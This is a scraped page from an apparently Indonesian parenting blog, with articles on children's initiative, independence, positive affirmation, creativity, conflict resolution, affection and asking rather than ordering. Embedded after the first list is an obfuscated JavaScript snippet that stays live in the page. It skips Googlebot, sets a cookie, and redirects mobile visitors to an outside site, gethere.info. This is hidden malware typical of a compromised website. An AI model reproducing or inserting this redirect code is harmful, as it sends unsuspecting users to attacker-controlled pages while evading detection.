<p style="text-align: left;"><a href="http://griyaparenting.com/blog/metode-pendidikan-anak-beda-standar/" target="_blank"><img class="aligncenter" style="border: 0px;" title="Pendidikan Anak" alt="Pendidikan Anak, Mendidik Anak, Orang Tua, Anak, OrangTua" src="http://i61.tinypic.com/2hq7x1v.jpg" width="400" height="364" border="0" /></a>
Dalam peristiwa keluarga di atas lebih cenderung ke perspektif ibu, di mana orang tua lebih mempertimbangkan standar kebersihan piring daripada inisiatif anak untuk membantu ibunya. Ada beberapa hal yang merugikan proses <a href="http://griyaparenting.com/blog/metode-pendidikan-anak-beda-standar/">pendidikan anak</a> atas ibu di atas, diantaranya:</p>

<ol>
<li>Anak merasakan bahwa inisiatifnya untuk membantu orang tua tidak diapresiasi oleh orang tuanya. Dan hilangnya inisiatif untuk membantu orang lain merupakan kerugian yang sangat besar dalam proses pendidikan anak.</li>
<li>Orang tua tidak mengakui kemampuan anak untuk mencuci piring dengan baik. Sikap ini akan membangun konsep diri yang negatif, bahwa mereka tidak mempunyai kemampuan yang bisa diterima orang lain</li>
<li>Akan muncul sikap apatis pada diri anak terhadap kesulitan-kesulitan yang dihadapi orang lain</li>
</ol>
Sebagai orang tua yang disibukkan dengan kegiatan-kegiatan rutin, sikap-sikap seperti di atas merupakan perilaku yang sangat wajar. Apalagi jumlah anak banyak yang harus ditangani serta waktu yang sangat sempit. Ada beberapa hal yang dapat dilakukan orang tua menghadapi inisiatif-inisiatif putranya ;
<ol>
<li>Memberikan dukungan dan penghargaan atas setiap inisiatif anak untuk membantu orang lain</li>
<li>Memaklumi bahwa hasil yang dilakukan anak tidak sebaik orang tuanya, namun inisiatif untuk membantu orang lain jauh lebih berharga daripada akibat-akibat yang ditimbulkan dari bantuan anak yang kurang baik</li>
<li>Membimbing anak untuk mencuci piring atau melipat pakaian dengan baik, sehingga standar orang tua tidak terlalu jauh dengan standar putra/putrinya</li>
</ol>
&nbsp;<script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>

Mendidik Anak Mandiri : Ibuku Bodyguardku

Pernahkah kita melihat seorang ibu yang sangat menyanyangi putranya, kemudian ia sering membantu putranya tersebut dalam setiap permasalahan dengan temannya. Putranya pulang sekolah menangis karena konflik dengan temannya, kemudian ia menghampiri temannya lalu memusuhinya seperti seorang bodyguard yang selalu siap menjaga kliennya.

Seringkali putra-putri kita menghadapi permasalahan dengan teman-teman mereka, baik masalah pergaulan maupun masalah pinjam meminjam. Sebagai orang tua yang sangat menyanyangi mereka dan tidak rela mereka bersedih, seringkali kita terangsang untuk ikut campur urusan mereka dan ikut menyelesaikan permasalahan tersebut. Padahal tidak semua permasalahan anak membutuhkan bantuan orang tua. Bahkan anak sendiri seringkali justru kurang menyukai sikap orang tua yang selalu ikut campur.

Ada beberapa hal sebagai orang tua yang diperhatikan ketika menjumpai permasalahan anak dengan teman-temannya, diantaranya:

  1. Anak mempunyai permasalahan/konflik dengan temannya adalah suatu yang sangat wajar, bahkan permasalahan/konflik tersebut dapat menjadi sarana baginya untuk mengembangkan kedewasaan dan kemandiriannya
  2. Sikap orang tua yang sering ikut campur dalam setiap permasalahan anak justru akan membuatnya malu dan kurang mandiri
  3. Jika sebuah permasalahan tersebut cukup memberatkan anak untuk menyelesaikan, orang tua dapat menawarkan ide solusi kepada anak dan mengajarinya bagaimanan menghadapi temannya tanpa mengambil alih permasalahan tersebut dari pundak anak.

Beberapa anak mempunyai permasalahan tidak hanya dengan temannya tetapi bahkan dengan gurunya, baik berupa nilai yang diberikan guru tidak sesuai dengan persepsi anak dan orang tua, atau beberapa sikap guru tersebut tidak membuat anak nyaman belajar. Kemudian anak tersebut mengungkapkan perasaannya kepada orang tuanya

Kita sebagai orang tua jelas akan muncul perasaan gundah dan khawatir mendengarkan permasalahan tersebut. Kita khawatir permasalahan tersebut akan berdampak kepada motivasi anak di dalam belajar, atau muncul prasangka bahwa putranya akan kurang disenangi oleh guru tersebut. Rasa sayang kita yang besar kepada anak kadangkala membangunkan emosi kita untuk langsung menghadap guru tersebut di depan anak kita dan mempertanyakan tentang nilai tersebut dan sikapnya yang kurang disukai oleh anak kita.

Padahal ada beberapa sikap lebih bijak dan pemahaman yang lebih baik dari sikap di atas, yaitu:

  1. Mendengarkan dengan empatik tentang permasalahan anak dengan gurunya merupakan dukungan yang baik bagi anak
  2. Kita harus menimbang apakah permasalahan tersebut dapat diselesaikan sendiri oleh anak. Anak mempunyai keberanian untuk menanyakan nilai yang tidak sesuai dengan pemahamannya, atau sikap guru tersebut tidak terlalu menganggu anak.
  3. Jika permasalahan tersebut cukup komplek dan anak tidak dapat menyelesaikan dengan sendiri, orang tua dapat menghadap kepada guru tanpa sepengetahuan anak, supaya anak tidak selalu menggantungkan intervensi dari orang tuanya
  4. Hindari memberikan kesan negatif tentang guru di depan anak, seperti memberi kritikan kepada guru di depan anak, karena hal tersebut akan membuat anak kehilangan rasa kepercayaan terhadap gurunya, di mana akhirnya akan berdampak negatif terhadap motivasi anak untuk belajar dari gurunya

Permasalahan bagi anak kadang justru dapat kita jadikan sebagai sarana untuk membangun rasa kedewasaan dan kemandiriannya. Kita harus memberdayakan anak di hadapan orang lain termasuk orang dewasa. Di rumah, kita dapat membimbing mereka untuk mempertahankan hak dan miliknya dengan sikap dan bahasa yang santun. Misalnya, “Maaf Pak, sesuai dengan kesepakatan waktu ini adalah waktu Deni untuk menggunakan komputer di rumah”. Atau di sekolah, misalnya, “Maaf,pak. Saya sudah cek kembali tes IPA saya. Tampaknya ada kekeliruan dalam penjumlahan total nilai saya.”

Anak tidak membutuhkan bodyguard bagi permasalahannya, tetapi ia lebih membutuhkan dukungan dan kepercayaan dari kita, bahwa ia mampu menyelesaikan setiap permasalahannya.

Membangun Pikiran Positif, Kebiasaan Baik pada Anak : Seimbang

Pernahkah kita mencoba untuk menghitung berapa jumlah afirmasi positif (pujian) yang diterima oleh putra-putri kita dalam satu hari, dan berapa jumlah afirmasi negatif (cemoohan) yang diterimanya. Dengan perkataan lain, berapa kali dalam sehari anak melakukan kebaikan kemudian orang sekitarnya memberi pujian dan dukungan. Dan berapa kali saat ia melakukan hal yang kurang baik menurut masyarakat kemudian orang sekitarnya memberikan cemoohan kepadanya.

Boby De Porter dalam bukungnya Quantum Learning menulis tentang penelitian bahwa seorang bayi masih mendapatkan afirmasi positif yang banyak, namun seiring dengan bertambah umur seorang anak justru mendapatkan afirmasi negatif jauh lebih banyak daripada afirmasi positif.

Sebenarnya apa pengaruh perbandingan jumlah afirmasi, baik negatif maupun positif, bagi perkembangan seorang anak? Mari kita cermati kata-kata berikut ini; Djarum, Bentoel, Gudang Garam…. Respon spontan kita saat membacanya adalah nama-nama produsen rokok terkenal di tanah air. Bahkan, di antara kita telah mengembangkan bayangan dalam pikirannya Djarum Super, Bentoel Biru dan Gudang Garam Merah. Pertanyaan selanjutnya adalah ke manakah makna asli dari kata-kata di atas, bahwa Djarum adalah alat untuk menjahit, Bentoel adalah salah satu umbi-umbian dan Gudang Garam adalah tempat menyimpan garam dalam jumlah besar? Dan saat kita ditanya makna asli dari kata-kata tersebut kita seakan-akan tersadar dari mimpi kita bahwa telah terbangun dalam pikiran kita dua makna yang sangat berbeda dari sebuah kata

Peristiwa mental ini terjadi sangat evolusioner dalam waktu relatif lama dan pasti seiring dengan program iklan yang semakin gencar dilakukan oleh perusahan tersebut. Pertama kali informasi tentang sebuah produk ditayangkan dalam media televisi atau terpampang dalam spanduk dengan nama yang asing, pikiran kita akan menyerapnya sejenak dan kemudian mungkin menolaknya, penasaran atau menerimanya. Namun semakin seringnya pikiran kita mengkonsumsinya akan semakin berkurang penolakan dan rasa penasaran hingga sampai pada suatu tahap meyakini bahwa informasi tersebut telah diterima secara pikiran bawah sadar. Bahkan, dengan semakin canggih proses marketing sebuah produk, kita dipaksa secara tidak sadar untuk memiliki produk tersebut, walaupun sebenarnya kita tidak membutuhkannya.

Bayangkan jika proses di atas juga terjadi pada putra-putri kita dengan afirmasi negatif yang mereka terima, baik karena kesalahan yang mereka lakukan atau kurangnya pemahaman masyarakat sekitar terhadap perilaku mereka. Pada saat pertama kali ia menerima afirmasi negatif tersebut mungkin ia akan menolaknya atau menerima hanya pada konteks kesalahan yang ia lakukan. Namun, dengan semakin seringnya ia menerima afirmasi yang sama pada momen yang berbeda, ia akan mulai menyakininya dan menyadari bahwa kesalahan adalah bagian integral dari dirinya. Dan ini sungguh merupakan peristiwa yang tragis jika betul-betul terjadi.
Sebaliknya jika afirmasi yang diterima oleh putra-putri kita lebih banyak afirmasi positif tentang dirinya dan mereka mendengarnya setiap hari, maka pikiran mereka telah dipenuhi dengan afirmasi-afirmasi positif sehingga akan timbul keyakinan yang kuat bahwa ia adalah seorang anak yang baik dan berhasil.

Sebenarnya bukanlah sebuah kesalahan jika seorang anak melakukan kesalahan kemudian kita menegurnya, karena sikap tersebut adalah bagian penyadaran bahwa anak juga dapat berbuat salah. Namun, hendaknya kita lebih bersifat proposional bahwa kepekaan perhatian kita terhadap kesalahan-kesalahan anak tidak boleh lebih besar dari kepekaan perhatian kita terhadap kebaikan dan keberhasilah anak. Minimal seimbang untuk menegur saat anak bersalah dan memuji saat ia berbuat baik.

Saat kita membiasakan mereka untuk mendengarkan kebaikan, saat itulah mereka akan memperbaiki kebiasaan mereka sendiri

Mengembangkan Bakat Anak : Matinya Seorang Seniman

Hari itu cuacanya indah, Andi memasuki ruang kelas dengan penuh antusias. Sejenak kemudian masuklah guru ke kelasnya dan mengumumkan bahwa hari ini semua siswa akan mendapatkan pelajaran kesenian yang pertama.

Andi senang sekali, karena benaknya dipenuhi dengan gambar-gambar yang indah, dan Andi tidak sabar menunggu untuk menuangkannya di atas kertas. Andi mempunyai banyak kertas dan pencil serta krayon berwarna-warni, peralatan untuk membuat karya besar pertamanya.
Gurunya berkata dengan antusias: “Baik anak-anak, semua sudah siap? Saya ingin kalian menggambar pesawat terbang.” Didalam benak Andi dapat melihat pesawat terbang dengan jelas, tetapi teknik untuk mengeluarkannya dari otak ke atas kertas ternyata agak sulit. Jadi, tahap ini, sebagai anak berusia empat tahun, yang dikelilingi teman-teman sebaya yang masing-masing memiliki kertas dan krayonnya sendiri, apa yang secara alami akan Andi lakukan? Tentu saja, Andi akan memandang ke sekeliling untuk melihat apa yang dilakukan oleh teman-temannya.
Namun, tiba-tiba gurunya telah menegurnya, ”Andi…Jangan melihat pekerjaan anak lain! Itu menyontek!”
Dalam keadaan frustasi, Andi berjuang dengan jengkel dan sia-sia, sampai waktunya habis. Ketika ia sudah menyelesaian pekerjaannya, ia diperbolehkan untuk melihat ke sekeliling. Dan apa yang ia lihat?
Pesawat-pesawat terbang yang lebih bagus!
Ironisnya, ia melihat pesawat-pesawat temannya jauh lebih bagus daripada miliknya, karena ia melihat bagian terburuk dari gambarnya sendiri, dan bagian terbaik pada gambar anak lain.
Kemudian teman kelas Andi mendatangi mejanya dan dengan kata yang paling menyebalkan ia berkata, ”Gambar apa ini? Gambarmu jelek! Pesawat terbang kok tidak ada sayapnya”. Perasaan sakit hati dan terhina mulai terkumpul di benaknya, dan tunas kreativitas itupun mulai layu.
Selanjuntya, datang lebih banyak penderitaan baginya. Karena selama dua minggu berikutnya, yang terpajang di dinding kelas bukanlah pesawat terbang kecil miliknya dan ia merasa dipersalahkan karena keadaan ini. Setiap hari, kehadirannya di kelas mengingatkan pada ketidakmampuan, kegagalan dan mimpi indah yang tidak pernah terwujud.
Beberapa hari sesudahnya, guru Andi datang ke kelas dan mengumumkan: ”Anak-anak, hari ini kita akan belajar kesenian lagi!
Dan apa yang dikatakan oleh otak Andi? Ooooooooooooo,,,, tidaaaaaaaak, menggambar!
Mulai saat itu, seniman kreatif yang istimewa dan alami di dalam dirinya telah bersembunyi, dan terus mengalami mimpi buruk.
Wahai orang tua, jangan pernah ada kesempatan di rumah-rumah kita tumbuh Andi-Andi yang baru, anak kita adalah seniman yang sangat kreatif. Hargai hasil karya mereka, karena anak-anak itu sangat kaya perspektif bagi karya-karya agungnya.

(Disadur dari buku buku karya Tony Buzan)

 

Manajemen Konflik Anak : Cara Bijak Menyikapi Anak

Semua orang tua pernah mengalami situasi di mana anak tidak selalu sesuai tingkah lakunya dengan harapan mereka. Situasi semacam ini tidak dapat dielakkan dalam hubungan antara orang tua dengan anak, karena anak mempunyai “kebutuhan” untuk bertingkah laku demikian, sekalipun ia telah menyadari bahwa tingkah lakunya mengganggu orang lain.

  • Faqih masih saja menonton televisi, padahal ibunya sudah seringkali memperingatkan untuk segera mandi.
  • Fadli terus merengek untuk dibelikan ice cream, walaupun ia baru saja sembuh dari sakit radang tenggorokan
  • Fahd naik di atas meja sambil menari-nari, sementara ibunya khawatir jika ia terjatuh

Banyak orang tua enggan terlibat dalam situasi konflik dengan anak-anaknya, mereka terlihat sangat risau jika terjadi konflik dan bingung bagaimana mengatasinya. Bu Ahmad terlihat stress menghadapi putrinya yang menggunakan pakaian ketat, padahal tingkah putrinya sangat tidak baik. Namun, ia lebih memilih mendiamkan putri daripada putrinya ngambek dan marah-marah kepada dirinya, walaupun semakin hari ia semakin tertekan dengan omongan tetangganya.
Melihat kedua putranya berebut mainan, dengan membentak Pak Fahmi berkata, “Diam semua, maianan ini saya sita karena kalian selalu bertengkar”.
Situasi konflik tidak selalu jelek, bahkan dapat menjadi sarana bagi orang tua untuk mendidik anak di dalam menyelesaikan konflik-konflik mereka pada masa-masa yang akan datang. Di sinilah hal yang paling penting adalah bagaimana cara sebuah konflik diselesaikan.

Ibu : Faruk, saya pusing dan bosan menegurmu karena tas dan sepatumu selalu berserakan sepulang dari sekolah, saya yakin kamu juga bosan mendengar teguran saya. Sekali-kali kamu memang menaruh ditempatnya, tetapi lebih sering ibu yang melakukan. Bagaimana caranya supaya ibu tidak marah dan kamu juga nyaman karena tidak selalu dimarahi ibu.
Faruk : Yah… saya harus mengembalikan tas dan sepatuku ke tempatnya, tapi saya pulang sekolah capek bu..
Ibu : Terus bagaimana tas dan sepatumu siapa yang akan menempatkannya pada tempatnya?
Faruk : Ibu saja…
Ibu : Oke.. ibu yang akan menempatkan pada tempatnya, tetapi kamu harus membantu ibu menunggu adik selama ibu mengerjakan itu semua
Faruk : Setuju bu
Ibu : Apakah kamu dapat berjanji untuk melaksanakan kesepakatan ini?
Faruk : Ya bu.. saya berjanji
Ibu : Terima kasih atas kesepakatan kita ini (sambil menepuk pundak putranya)

Dengan teknik seperti contoh di atas kita sebagai orang tua dapat mengambil beberapa manfaat:

  1. Anak tergerak untuk melaksanakan penyelesaian, metode ini menghasilkan derajat motivasi lebih tinggi pada anak untuk melaksanakan keputusan, karena ia menggunakan metode partisipaasi. Seseorang lebih terdorong untuk melaksanakan suatu keputusan kalau keputusan itu dapat dibuat dengan mengikutsertakan dirinya daripada kalau keputusan itu dipaksakan oleh orang lain. Akan lebih indah jika keputusan berangkat dari ide anak.
  2. Lebih memungkinkan untuk menemukan penyelesaian masalah yang bermutu, metode ini lebih kreatif, lebih efektif dalam menyelesaikan konflik. Sebuah penyelesaian yang mampu memenuhi kebutuhan orang tua maupun anak secara bersamaan
  3. Mengembangkan keterampilan berpikir anak, metode ini meminta anak untuk berpikir lebih dalam, ia hampir seperti teka-teki yang menggugah dan memerlukan pemikiran tuntas
  4. Rasa bermusuhan berkurang dan cinta bertambah, alangkah indah jika metode ini sering dilakukan antara anak dan orang tua sehingga akan menambah kedekatan karena kesepakatan-kesepakatan yang selalu mereka lakukan

Konflik orang tua-anak adalah peristiwa yang sangat wajar, dengan keterbukan semua pihak dan penerimaan orang tua terhadap ide-ide anaknya akan membangun mental yang sehat bagi anak-anak. Di dalam keluarga yang demikian, anak paling sedikit mempunyai kesempatan untuk mengalami suatu konflik yang berlarut-larut, belajar mengatasinya, dan mereka akan tumbuh menjadi anak-anak yang lebih siap mengatasi setiap konflik pada masa-masa yang akan datang.

Bukanlah konflik yang membahayakan hubungan orang tua-anak, namun konflik yang tidak termanage dengan baik akan jauh membahayakan

 

Mencium Anak : Makna Ciuman Bagi Anak

Seorang anak yang diberangkatkan ke sekolah dengan kecupan sayang orang tua memberikan dampak yang luar biasa bagi prestasinya (penelitian)

Dalam berbagai forum parenting skill, kami banyak mendengarkan keluhan tentang putra-putri peserta training yang dahulu begitu penurut dan taat kepada orang tua pada saat mereka bayi atau batita, namun kondisinya berbalik 180 derajat seiring dengan bertambah besar mereka. Putra-putri terasa lebih menjengkelkan dan mengesalkan dari sebelumnya. Bahkan, banyak kasus anak lebih sering tidak menurut lagi omongan orang tua.
Mari kita melihat sebuah perilaku seperti memukul piring, kemudian membayangkan respon kita jika perilaku tersebut dilakukan oleh seorang bayi dan seorang anak usia 7 tahun. Seringkali respon kita sangat berbeda antara keduanya. Pada perilaku bayi yang memukul-mukul kita cenderung mendekatinya dan memberikan dorongan untuk melakukannya terus. Sudah wajarlah bagi seorang bayi untuk melakukannya. Namun bagi anak usia tujuh tahun yang melakukan hal tersebut, apakah respon kita sama, kita cenderung mengatakan usil, kurang pekerjaan, menjengkelkan dan lain-lain. Seringkali sikap kita juga berubah, jangankan memeluk atau mendorong, justru kita lebih sering menghardik karena menimbulkan kegaduhan.
Pertanyaannya yang perlu kita jawab dengan tulus adalah apakah kita memberikan ciuman atau pelukan kepada putra-putri saat mereka masih bayi karena wajahnya yang lucu dan menggemaskan , tubuhnya juga begitu mungil tanpa daya. Sehingga, di saat kelucuan dan keluguan tersebut hilang, kitapun melakukan perubahan sikap?
Saya sangat iri terhadap teman saya yang selalu memberikan ciuman bagi putra-putri yang sudah usia SMA dan SMP pada setiap kegiatan di luar rumah yang mereka akan lakukan. Saya dapat merasakan betapa hubungan orang tua dan putra-putri begitu dekat, walaupun mereka telah beranjak dewasa dengan pergaulan yang semakin luas dan pengaruh luar yang semakin beragam. Saya dapat mengestimasi jika putra-putrinya menghadapi kejadian yang dilematis di luar, mereka tidak pernah melupakan orang tua sebagai pembimbing dan tempat bertanya. Dan jika terjadi perbedaan pendapat antara orang tua dan putra-putri dengan kualitas hubungan seperti itu pasti akan begitu mudah dapat diselesaikan.
Bukan rahasia umum bahwa sentuhan fisik atau skin contact pada masa bayi memberi dampak yang amat menguntungkan bagi kecerdasan emosi dan kognitif individu. Itulah mengapa, sesaat setelah dilahirkan seorang bayi amat disarankan untuk langsung meletakkan bayi di dada ibunya sebelum dibersihkan. Kontak fisik ini diharapkan akan membentuk ikatan emosional dan kelekatan yang kuat antara ibu dan bayinya. Kelekatan inilah yang kelak akan menjadi landasan penting bagi perkembangan emosionalnya. Anak akan tumbuh menjadi individu dengan basic trust yang kuat. Basic trust inilah yang memungkinkannya menumbuhkan rasa aman dan nyaman sekaligus citra diri yang positif.
Jika orang tua tidak menjalin keakraban dan kehangatan lewat rangsang sentuhan, dapat dikhawatirkan struktur dasar yang ada dalam otak anak pun akan membentuknya menjadi pribadi yang dingin, kaku, canggung dan sulit bergaul dengan orang lain. Kondisi seperti ini dapat berlanjut hingga anak memasuki masa dewasanya.
Pertanyaannya, masihkan pelukan atau ciuman dibutuhkan oleh anak usia lebih dari 5 tahun? Jawabannya adalah masih sangat perlu, karena basic trust yang terbentuk perlu terus menerus mendapat pupuk berupa kedekatan atau interaksi akrab antara anak dengan orang tuanya. Kebiasan baik memberi skin to skin contact berdasarkan penelitian akan membuat anak merasa lebih aman dan nyaman. Secara emosi dapat membuat kondisi jiwanya tetap terpelihara dan sehat. Anak pun merasakan langsung bahwa kehadirannya diharapkan, disayangi, sekaligus diperhatikan oleh orang tuanya. Akhirnya ia akan tumbuh menjadi pribadi yang stabil, mantap, dan penuh percaya diri.
Tidak hanya itu, sentuhan penuh kasih sayang yang diberikan orang tua juga dapat berdampak secara kognitif pada anak. Sambil memeluk dan membelai kepala anak, orang tua dapat memberi masukan mengenai hal-hal baik yang perlu dilakukan olehnya. Masukan-masukan dalam situasi positif semacam itu akan lebih mudah diproses dalam pikirannya.
Dalam sebuah riwayat disebutkan Rasulullah berhadapan dengan salah seorang sahabat beliau yang membawa putranya, kemudian beliau menciumnya dan alangkah tercengangnya sahabat tersebut kemudian ia berkata, “Wahai baginda Rasulullah saya mempunyai 10 anak dan belum pernah seorangpun yang saya cium”. Rasulullah bersabda “Barangsiapa yang tidak memberi kasih sayang maka tidak berhak baginya mendapatkan kasih sayang”

Kasih sayang kepada anak tidak selalu dengan pelukan dan ciuman, tetapi dengan memeluk dan mencium mereka kita telah memastikan kasih sayang itu.

 

Mengajari Anak : Bertanya Sebagai Ganti Perintah

Siapa yang lebih dahulu, orang tua memahami anak atau anak memahami orang tua? Pertanyaan ini sebenarnya tidak rumit untuk menjawabnya dibandingkan pertanyaan, apa yang lebih dahulu, ayam atau telur? Pertanyaan pertama lebih mudah disepakati bersama bahwa orang tua seharusnya terlebih dahulu memahami anaknya dan tidaklah anak dituntut untuk memahami orang tuanya. Sementara pertanyaan kedua akan lebih sulit untuk dicapai kesepakatan berdasarkan perspektif masing-masing orang.
Namun hal yang lebih mudah untuk disepakati tidak serta merta mudah untuk dilaksanakan. “Sudahlah nak, kamu itu ikut orang tua saja, Insya Allah orang tuamu ini hanya berniat untuk kebaikanmu”. Statement ini terdengar begitu bijak bagi orang tua, namun ia sangat menafikan adanya dialog antara orang tua dan putranya. Anak tidak mempunyai kesempatan untuk menyampaikan isi hatinya dan orang tua gagal mengetahui kemauan anak
Bu Ani akhir-akhir ini merasa jengkel melihat respons putrinya saat diminta membersihkan ruang keluarga, “Ayo Nita, tolong mama membersihkan ruang keluarga!”. Perasaan jengkel semakin besar saat melihat Nita sedang santai menonton televisi di ruang keluarga.
Kita dapat mencermati ungkapan Bu Ani saat meminta Nita untuk membersihkan ruang keluarga. Kita merasakan betapa posisi Nita sebagai obyek penderita dari permintaan tolong ibunya. Adakah ruang bagi Nita untuk menyampaikan pendapatnya terhadap kondisi ruang keluarganya? Apakah membersihkan ruang keluarga telah menjadi bagian kebutuhan Nita? Jawaban dari kedua pertanyaan ini adalah tidak ada. Nita tidak diberi kesempatan untuk menyampaikan komentar terhadap kondisi ruang keluarga, sehingga kebersihan ruang tersebut belum menjadi bagian dari kebutuhannya.
Nabi Ibrahim telah memberi pelajaran bagi kita tentang hal ini, sebagaimana termaktub dalam firman Allah Surat As Shoffat ayat100-103
Ya Tuhanku, anugerahkan kepadaku (seorang anak) yang termasuk orang-orang yang shaleh. Maka Kami beri dia kabar gembira dengan seorang anak yang amat sabar. Maka tatkala anak itu sampai (pada umur sanggup) berusaha bersama-sama Ibrahim, Ibrahim berkata, ”Hai anakku, sesungguhnya aku melihat dalam mimpi bahwa aku menyembelihmu. Maka pikirkanlah apa pendapatmu”. Ia menjawab, ”Hai bapakku, kerjakanlah apa yang diperintahkan kepadamu, Insya Allah kamu mendapatiku termasuk orang-orang sabar.”
Luar biasa, terhadap perintah Allah yang sudah diyakininya melalui mimpi, Ibrahim tidak langsung memerintahkan putranya bersiap-siap untuk disembelih. ”Anakku aku telah diperintah Allah melalui mimpi untuk menyembelihmu, maka bersiaplah untuk disembelih segera”. Tetapi, justru beliau bertanya kepada putranya bagaimana pendapatmu tentang perintah tersebut. Dengan menggunakan bertanya sebagai ganti perintah maka Nabi Ibrahim telah menempatkan putranya sebagai subyek dari pelaksanaan perintah Allah tersebut.
Ada beberapa manfaat yang dapat dirasakan orang tua dengan menggunakan teknik bertanya sebagai ganti perintah, diantaranya:

  1. Teknik ini dapat meningkatkan kebanggaan seorang anak dan merasakan dirinya bagian yang penting dari peristiwa tersebut. ”Andi bagaimana menurutmu taman keluarga kita saat ini?” Dengan pertanyaan seperti ini telah membuka ruang bagi anak untuk menyampaikan idenya dan ia merasa bahwa idenya diperhitungkan di dalam proses perbaikan taman keluarganya
  2. Teknik ini membuat anak mudah untuk memperbaiki kesalahan yang telah dibuatnya. ”Sepeda siapa yang menghalangi jalan?” Dan kemudian memberi saran tentang kemungkinan yang terjadi jika sepeda diparkir di tempatnya. Pertanyaan ini tidak menempatkan sama sekali anak sebagai pihak yang tertuduh dan bersalah. Bandingkan dengan pernyataan berikut ini, ”Tono parkir sepedamu di tempat yang benar, kalau tidak saya tabrak”. Pernyataan ini sungguh membuat anak tersebut membenci kita bahkan anak-anak yang mendengarnya. Kita tidak sedang menyalahkan anaknya tetapi kita sedang memperbaiki perilakunya.
  3. Teknik ini mendorong kerja sama anak dan menghindari penentangan. ”Anita menurutmu apa yang baik untuk dimasak dengan hawa dingin seperti ini?”. Pertanyaan ini akan memudahkan seorang ibu untuk meminta bantuan dari putrinya. Karena jenis masakan yang akan dibuat telah menjadi bagian dari ide putrinya
  4. Teknik ini mendorong munculnya kreativitas dari putra-putri. Putra-putri kita sebenarnya mempunyai potensi kreativitas yang tinggi, dan sikap kita untuk memberikan kesempatan mereka akan memunculkan potensi tersebut sebagai suatu kenyataan
  5. Seorang anak akan lebih mudah mematuhi suatu perintah, jika ia ikut ambil bagian dalam membuat keputusan yang menyebabkan perintah itu dikeluarkan.

